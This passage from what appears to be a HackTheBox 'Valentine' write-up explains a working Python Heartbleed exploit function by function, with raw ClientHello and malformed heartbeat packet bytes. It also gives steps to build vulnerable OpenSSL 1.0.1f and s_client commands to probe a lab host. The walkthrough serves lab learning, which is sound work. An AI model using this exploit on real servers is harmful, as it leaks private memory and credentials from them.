string\">'Server closed connection without sending Server Hello.'</span>\n<span class=\"token keyword\">return</span>\n<span class=\"token comment\"># Look for server hello done message.</span>\n<span class=\"token keyword\">if</span> typ <span class=\"token operator\">==</span> <span class=\"token number\">22</span> <span class=\"token keyword\">and</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span>pay<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x0E</span><span class=\"token punctuation\">:</span>\n<span class=\"token keyword\">break</span>\n                \n<span class=\"token comment\"># 4. Sending the exploit</span>\n<span class=\"token keyword\">print</span> <span class=\"token string\">'Sending heartbeat request...'</span>\nsys<span class=\"token punctuation\">.</span>stdout<span class=\"token punctuation\">.</span>flush<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>send<span class=\"token punctuation\">(</span>create_hb<span class=\"token punctuation\">(</span>version<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">if</span> hit_hb<span class=\"token punctuation\">(</span>s<span class=\"token punctuation\">,</span>create_hb<span class=\"token punctuation\">(</span>version<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n<span class=\"token comment\">#Stop if vulnerable</span>\n<span class=\"token keyword\">break</span>\n\n<span class=\"token keyword\">if</span> __name__ <span class=\"token operator\">==</span> <span class=\"token string\">'__main__'</span><span class=\"token punctuation\">:</span>\nmain<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></code></pre></div>\n<h4 id=\"1-receiving-arguments\" style=\"position:relative;\"><a href=\"#1-receiving-arguments\" aria-label=\"1 receiving arguments permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>1. Receiving arguments</h4>\n<p>Execution without arguments is not possible.\nArguments must specify the IP address of the target.</p>\n<h4 id=\"2-establish-connections-for-each-version-and-execute-create_hello\" style=\"position:relative;\"><a href=\"#2-establish-connections-for-each-version-and-execute-create_hello\" aria-label=\"2 establish connections for each version and execute create_hello permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>2. Establish connections for each version and execute create_hello</h4>\n<p>It runs <code class=\"language-text\">create_hello(version)</code> for each version in a pre-defined version list.\n<code class=\"language-text\">create_hello(version)</code> is described <a href=\"#create_hello-function\">later</a>.</p>\n<h4 id=\"3-various-response-checks\" style=\"position:relative;\"><a href=\"#3-various-response-checks\" aria-label=\"3 various response checks permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>3. Various response checks</h4>\n<p>If each value from <code class=\"language-text\">recvmsg(s)</code> satisfies <code class=\"language-text\">typ == 22 and ord(pay[0]) == 0x0E</code>, it is treated as a received ServerHello and proceeds to send the payload.</p>\n<p><code class=\"language-text\">recvmsg(s)</code> is also described <a href=\"#recvmsg-function\">later</a>.</p>\n<h4 id=\"4-sending-the-exploit\" style=\"position:relative;\"><a href=\"#4-sending-the-exploit\" aria-label=\"4 sending the exploit permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>4. Sending the exploit</h4>\n<p>Once the connection is confirmed, it sends the attack packet using <code class=\"language-text\">create_hb(version[i][1])</code> and displays the information from the response packet.</p>\n<p><code class=\"language-text\">create_hb(version[i][1])</code> is also described <a href=\"#create_hb-function\">later</a>.</p>\n<h3 id=\"create_hello-function\" style=\"position:relative;\"><a href=\"#create_hello-function\" aria-label=\"create_hello function permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>create_hello function</h3>\n<p>Let’s look at each function’s processing.</p>\n<p>First is the create_hello function.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">def</span> <span class=\"token function\">h2bin</span><span class=\"token punctuation\">(</span>x<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n<span class=\"token keyword\">return</span> x<span class=\"token punctuation\">.</span>replace<span class=\"token punctuation\">(</span><span class=\"token string\">' '</span><span class=\"token punctuation\">,</span> <span class=\"token string\">''</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>replace<span class=\"token punctuation\">(</span><span class=\"token string\">'\\n'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">''</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>decode<span class=\"token punctuation\">(</span><span class=\"token string\">'hex'</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">create_hello</span><span class=\"token punctuation\">(</span>version<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\nhello <span class=\"token operator\">=</span> h2bin<span class=\"token punctuation\">(</span><span class=\"token string\">'16 '</span> <span class=\"token operator\">+</span> version <span class=\"token operator\">+</span> <span class=\"token string\">' 00 dc 01 00 00 d8 '</span> <span class=\"token operator\">+</span> version <span class=\"token operator\">+</span> <span class=\"token triple-quoted-string string\">''' 53\n43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf\nbd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00\n00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88\n00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c\nc0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09\nc0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44\nc0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c\nc0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11\n00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04\n03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19\n00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08\n00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13\n00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00\n00 0f 00 01 01\n'''</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">return</span> hello</code></pre></div>\n<p>The return value <code class=\"language-text\">hello</code> is the decoded version of the following byte code:</p>\n<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">16 03 00 00 dc 01 00 00 d8 03 00 53\n43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf\nbd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00\n00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88\n00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c\nc0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09\nc0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44\nc0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c\nc0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11\n00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04\n03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19\n00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08\n00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13\n00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00\n00 0f 00 01 01</code></pre></div>\n<p>This generates the packet data used for ClientHello.\nClientHello is always the first data sent at the start of a new handshake.</p>\n<p>To begin with, <strong>SSL data (records) consist of a 5-byte record header followed by data</strong>.\nReference: <a href=\"https://www.cisco.com/c/en/us/support/docs/security-vpn/secure-socket-layer-ssl/116181-technote-product-00.html\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">SSL Introduction with Sample Transaction and Packet Exchange - Cisco</a></p>\n<p>In the above data, <code class=\"language-text\">16 03 00 00 dc</code> is the record header.\nThe leading <code class=\"language-text\">0x16</code> indicates that the <code class=\"language-text\">Type</code> is <code class=\"language-text\">Handshake (22, 0x16)</code>.</p>\n<p>Next, the 2 bytes inserted as <code class=\"language-text\">version</code> refer to the <code class=\"language-text\">Record Version</code>.\nSince <code class=\"language-text\">03 00</code> is specified, it is interpreted as <code class=\"language-text\">SSL Version 3 (SSLv3)</code>.</p>\n<p>The final 2 bytes are the <code class=\"language-text\">Length</code>, specifying the size of the record.</p>\n<p>The data portion should contain the following information sent in ClientHello:</p>\n<ol>\n<li>Version: The best version supported by the client</li>\n<li>Random: 32 bytes — 4 bytes for the timestamp, 28 bytes of randomly generated data</li>\n<li>SessionID: Empty for ClientHello</li>\n<li>Cipher Suites: The cipher suites the client supports</li>\n<li>Compression Methods: The compression methods the client supports</li>\n<li>Extensions: Extensions for additional data</li>\n</ol>\n<h3 id=\"recvmsg-function\" style=\"position:relative;\"><a href=\"#recvmsg-function\" aria-label=\"recvmsg function permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>recvmsg function</h3>\n<p>Having sent the generated ClientHello, a ServerHello is returned.</p>\n<p><code class=\"language-text\">recvmsg(s)</code> retrieves this information.\nThis function displayed the following information:</p>\n<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">Waiting for Server Hello...\n ... received message: type = 22, ver = 0301, length = 66\n ... received message: type = 22, ver = 0301, length = 885\n ... received message: type = 22, ver = 0301, length = 331\n ... received message: type = 22, ver = 0301, length = 4</code></pre></div>\n<p>The ServerHello structure is the same as ClientHello.\nFrom the record header, it retrieves the handshake Type, SSL version, and data length.</p>\n<p>However, while the structure of ServerHello is the same as ClientHello, its data portion contains information determined by the server (such as SessionID).</p>\n<p>Also, the ClientHello sent <code class=\"language-text\">03 00</code> for the SSL version, but <code class=\"language-text\">03 01</code> was returned in the ServerHello.</p>\n<p>This is because <strong>the server doesn’t necessarily need to support the exact same version as the client</strong>.\nThe server expects the client to be compatible with its version and returns a response accordingly.</p>\n<p>This confirmed that a connection could be established. Since we don’t need to complete the full SSL handshake here, we break as soon as information indicating ServerHello completion is found in the data portion.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token comment\"># Look for server hello done message.</span>\n<span class=\"token keyword\">if</span> typ <span class=\"token operator\">==</span> <span class=\"token number\">22</span> <span class=\"token keyword\">and</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span>pay<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x0E</span><span class=\"token punctuation\">:</span>\n<span class=\"token keyword\">break</span></code></pre></div>\n<p>Now that SSL connectivity is confirmed, we finally send the malicious heartbeat packet to extract data.</p>\n<h3 id=\"create_hb-function\" style=\"position:relative;\"><a href=\"#create_hb-function\" aria-label=\"create_hb function permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>create_hb function</h3>\n<p>Finally, here is the part that sends the attack packet.\nLet’s look at the hit_hb function that checks the response at the same time.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">def</span> <span class=\"token function\">create_hb</span><span class=\"token punctuation\">(</span>version<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\nhb <span class=\"token operator\">=</span> h2bin<span class=\"token punctuation\">(</span><span class=\"token string\">'18 '</span> <span class=\"token operator\">+</span> version <span class=\"token operator\">+</span> <span class=\"token string\">' 00 03 01 40 00'</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">return</span> hb\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">hit_hb</span><span class=\"token punctuation\">(</span>s<span class=\"token punctuation\">,</span>hb<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\ns<span class=\"token punctuation\">.</span>send<span class=\"token punctuation\">(</span>hb<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">while</span> <span class=\"token boolean\">True</span><span class=\"token punctuation\">:</span>\ntyp<span class=\"token punctuation\">,</span> ver<span class=\"token punctuation\">,</span> pay <span class=\"token operator\">=</span> recvmsg<span class=\"token punctuation\">(</span>s<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">if</span> typ <span class=\"token keyword\">is</span> <span class=\"token boolean\">None</span><span class=\"token punctuation\">:</span>\n<span class=\"token keyword\">print</span> <span class=\"token string\">'No heartbeat response received, server likely not vulnerable'</span>\n<span class=\"token keyword\">return</span> <span class=\"token boolean\">False</span>\n\n<span class=\"token keyword\">if</span> typ <span class=\"token operator\">==</span> <span class=\"token number\">24</span><span class=\"token punctuation\">:</span>\n<span class=\"token keyword\">print</span> <span class=\"token string\">'Received heartbeat response:'</span>\nhexdump<span class=\"token punctuation\">(</span>pay<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">if</span> <span class=\"token builtin\">len</span><span class=\"token punctuation\">(</span>pay<span class=\"token punctuation\">)</span> <span class=\"token operator\">></span> <span class=\"token number\">3</span><span class=\"token punctuation\">:</span>\n<span class=\"token keyword\">print</span> <span class=\"token string\">'WARNING: server returned more data than it should - server is vulnerable!'</span>\n<span class=\"token keyword\">else</span><span class=\"token punctuation\">:</span>\n<span class=\"token keyword\">print</span> <span class=\"token string\">'Server processed malformed heartbeat, but did not return any extra data.'</span>\n<span class=\"token keyword\">return</span> <span class=\"token boolean\">True</span>\n\n<span class=\"token keyword\">if</span> typ <span class=\"token operator\">==</span> <span class=\"token number\">21</span><span class=\"token punctuation\">:</span>\n<span class=\"token keyword\">print</span> <span class=\"token string\">'Received alert:'</span>\nhexdump<span class=\"token punctuation\">(</span>pay<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span> <span class=\"token string\">'Server returned error, likely not vulnerable'</span>\n<span class=\"token keyword\">return</span> <span class=\"token boolean\">False</span>\n        \n<span class=\"token keyword\">def</span> <span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span>\n<span class=\"token keyword\">print</span> <span class=\"token string\">'Sending heartbeat request...'</span>\nsys<span class=\"token punctuation\">.</span>stdout<span class=\"token punctuation\">.</span>flush<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>send<span class=\"token punctuation\">(</span>create_hb<span class=\"token punctuation\">(</span>version<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">if</span> hit_hb<span class=\"token punctuation\">(</span>s<span class=\"token punctuation\">,</span>create_hb<span class=\"token punctuation\">(</span>version<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n<span class=\"token comment\">#Stop if vulnerable</span>\n<span class=\"token keyword\">break</span></code></pre></div>\n<p><code class=\"language-text\">s.send(create_hb(version[i][1]))</code> sends the generated heartbeat byte sequence.</p>\n<p>What is sent is the byte sequence <code class=\"language-text\">18 03 00 00 03 01 40 00</code>.\nThe content has nearly the same structure as the record header described earlier.</p>\n<p>The leading <code class=\"language-text\">18</code> indicates this is a heartbeat extension, and <code class=\"language-text\">03 00</code> tells the server to use SSL 3.0 protocol.</p>\n<p><code class=\"language-text\">00 03</code> means the following data payload is 3 bytes.\nThe final <code class=\"language-text\">01 40 00</code> is the Heartbeat Type and payload length described in <a href=\"#reading-the-problematic-openssl-code\">Reading the Problematic OpenSSL Code</a>.</p>\n<p>Since the first byte is <code class=\"language-text\">01</code>, this is a heartbeat request packet.\nAnd since the next 2 bytes are <code class=\"language-text\">40 00</code>, the server mistakenly believes this heartbeat request is 16KB.</p>\n<p>Wait — the byte listed is actually <code class=\"language-text\">40 00</code> = 16384 bytes (16 KB), not 1KB. Let me note: the source text says <code class=\"language-text\">04 00</code> = 1KB, but based on the <code class=\"language-text\">create_hb</code> code <code class=\"language-text\">01 40 00</code> the payload length is <code class=\"language-text\">40 00</code> = 16384 = 16KB. This discrepancy exists in the original article.</p>\n<p>As for the hit_hb function that receives the response, it does nothing special.\nIt only outputs the packet in hexdump format when it confirms that a valid heartbeat response has been received, based on the record header of the response packet.</p>\n<p>With this, we successfully extracted server-side information via Heartbleed, and were able to retrieve the machine’s credentials!</p>\n<h2 id=\"bonus-building-a-vulnerable-openssl\" style=\"position:relative;\"><a href=\"#bonus-building-a-vulnerable-openssl\" aria-label=\"bonus building a vulnerable openssl permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Bonus: Building a Vulnerable OpenSSL</h2>\n<p>Valentine is a Retired machine, so playing it requires a paid HackTheBox subscription (around 1,000 yen/month).</p>\n<p>Here I summarize how to obtain a vulnerable version of OpenSSL for those who want to test Heartbleed themselves without subscribing.</p>\n<p>There are various ways to obtain a vulnerable OpenSSL version, such as using older OS or Docker images, or directly building an older OpenSSL version.</p>\n<p>Here I’ll introduce building an older OpenSSL version directly.</p>\n<p>The general process is as follows:</p>\n<ol>\n<li>Prepare a safe environment (I used a Docker container)</li>\n<li>Clone the OpenSSL repository</li>\n<li>Checkout the OpenSSL<em>1</em>0_1f tag</li>\n<li>Build</li>\n</ol>\n<p>First, clone the OpenSSL repository into a tmp directory of a Docker container you’ve set up, and switch to the vulnerable version’s branch.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token function\">git</span> clone https://github.com/openssl/openssl\n<span class=\"token builtin class-name\">cd</span> openssl\n<span class=\"token function\">git</span> checkout -b tag refs/tags/OpenSSL_1_0_1f</code></pre></div>\n<p>Next, build OpenSSL.\nIn my environment, there was an issue with man page installation, so I used <code class=\"language-text\">make install_sw</code> to skip man page installation.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">./config --openssldir<span class=\"token operator\">=</span>/tmp\n<span class=\"token function\">make</span>\n<span class=\"token function\">make</span> install_sw</code></pre></div>\n<p>After the build completes, programs are placed in the apps directory.\nChecking the version confirms that <code class=\"language-text\">OpenSSL 1.0.1f</code> was built as expected.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">root@3d6a898953b4:/tmp/openssl/apps<span class=\"token comment\"># ./openssl version</span>\nOpenSSL <span class=\"token number\">1.0</span>.1f <span class=\"token number\">6</span> Jan <span class=\"token number\">2014</span></code></pre></div>\n<p>With this, you can now test Heartbleed in your local environment.</p>\n<p>Depending on your environment, you may get an error <code class=\"language-text\">error while loading shared libraries: libssl.so.3</code> and be unable to run it.</p>\n<p>In that case, use the following commands to fix it:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token function\">ln</span> -s libssl.so.3 libssl.so\nldconfig</code></pre></div>\n<h2 id=\"bonus-confirming-heartbeat-requests-and-responses\" style=\"position:relative;\"><a href=\"#bonus-confirming-heartbeat-requests-and-responses\" aria-label=\"bonus confirming heartbeat requests and responses permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Bonus: Confirming Heartbeat Requests and Responses</h2>\n<p>Using the <code class=\"language-text\">-tlsextdebug</code> option of an older OpenSSL that has the heartbeat feature, you can check whether the target server has the Heartbleed vulnerability.</p>\n<p>Below is the command and an example of its output.\nThe line <code class=\"language-text\">TLS server extension \"heartbeat\" (id=15), len=1</code> shows that the heartbeat extension is running.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">./openssl s_client -connect <span class=\"token number\">10.10</span>.10.79:443 -tlsextdebug\n\nCONNECTED<span class=\"token punctuation\">(</span>00000003<span class=\"token punctuation\">)</span>\nTLS server extension <span class=\"token string\">\"renegotiation info\"</span> <span class=\"token punctuation\">(</span>id<span class=\"token operator\">=</span><span class=\"token number\">65281</span><span class=\"token punctuation\">)</span>, <span class=\"token assign-left variable\">len</span><span class=\"token operator\">=</span><span class=\"token number\">1</span>\n0001 - <span class=\"token operator\">&lt;</span>SPACES/NULS<span class=\"token operator\">></span>\nTLS server extension <span class=\"token string\">\"EC point formats\"</span> <span class=\"token punctuation\">(</span>id<span class=\"token operator\">=</span><span class=\"token number\">11</span><span class=\"token punctuation\">)</span>, <span class=\"token assign-left variable\">len</span><span class=\"token operator\">=</span><span class=\"token number\">4</span>\n0000 - 03 00 01 02                                       <span class=\"token punctuation\">..</span><span class=\"token punctuation\">..</span>\nTLS server extension <span class=\"token string\">\"session ticket\"</span> <span class=\"token punctuation\">(</span>id<span class=\"token operator\">=</span><span class=\"token number\">35</span><span class=\"token punctuation\">)</span>, <span class=\"token assign-left variable\">len</span><span class=\"token operator\">=</span><span class=\"token number\">0</span>\nTLS server extension <span class=\"token string\">\"heartbeat\"</span> <span class=\"token punctuation\">(</span>id<span class=\"token operator\">=</span><span class=\"token number\">15</span><span class=\"token punctuation\">)</span>, <span class=\"token assign-left variable\">len</span><span class=\"token operator\">=</span><span class=\"token number\">1</span>\n0000 - 01                                                <span class=\"token builtin class-name\">.</span>\n<span class=\"token assign-left variable\">depth</span><span class=\"token operator\">=</span><span class=\"token number\">0</span> C <span class=\"token operator\">=</span> US, ST <span class=\"token operator\">=</span> FL, O <span class=\"token operator\">=</span> valentine.htb, CN <span class=\"token operator\">=</span> valentine.htb\nverify error:num<span class=\"token operator\">=</span><span class=\"token number\">18</span>:self signed certificate\nverify return:1\n<span class=\"token assign-left variable\">depth</span><span class=\"token operator\">=</span><span class=\"token number\">0</span> C <span class=\"token operator\">=</span> US, ST <span class=\"token operator\">=</span> FL, O <span class=\"token operator\">=</span> valentine.htb, CN <span class=\"token operator\">=</span> valentine.htb\nverify error:num<span class=\"token operator\">=</span><span class=\"token number\">10</span>:certificate has expired\n<span class=\"token assign-left variable\">notAfter</span><span class=\"token operator\">=</span>Feb  <span class=\"token number\">6</span> 00:45:25 <span class=\"token number\">2019</span> GMT\nverify return:1\n<span class=\"token assign-left variable\">depth</span><span class=\"token operator\">=</span><span class=\"token number\">0</span> C <span class=\"token operator\">=</span> US, ST <span class=\"token operator\">=</span> FL, O <span class=\"token operator\">=</span> valentine.htb, CN <span class=\"token operator\">=</span> valentine.htb\n<span class=\"token assign-left variable\">notAfter</span><span class=\"token operator\">=</span>Feb  <span class=\"token number\">6</span> 00:45:25 <span class=\"token number\">2019</span> GMT\nverify return:1\n---</code></pre></div>\n<p>Adding <code class=\"language-text\">-msg</code> sends a Heartbleed request from OpenSSL and allows you to see the response.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">./openssl s_client -connect <span class=\"token 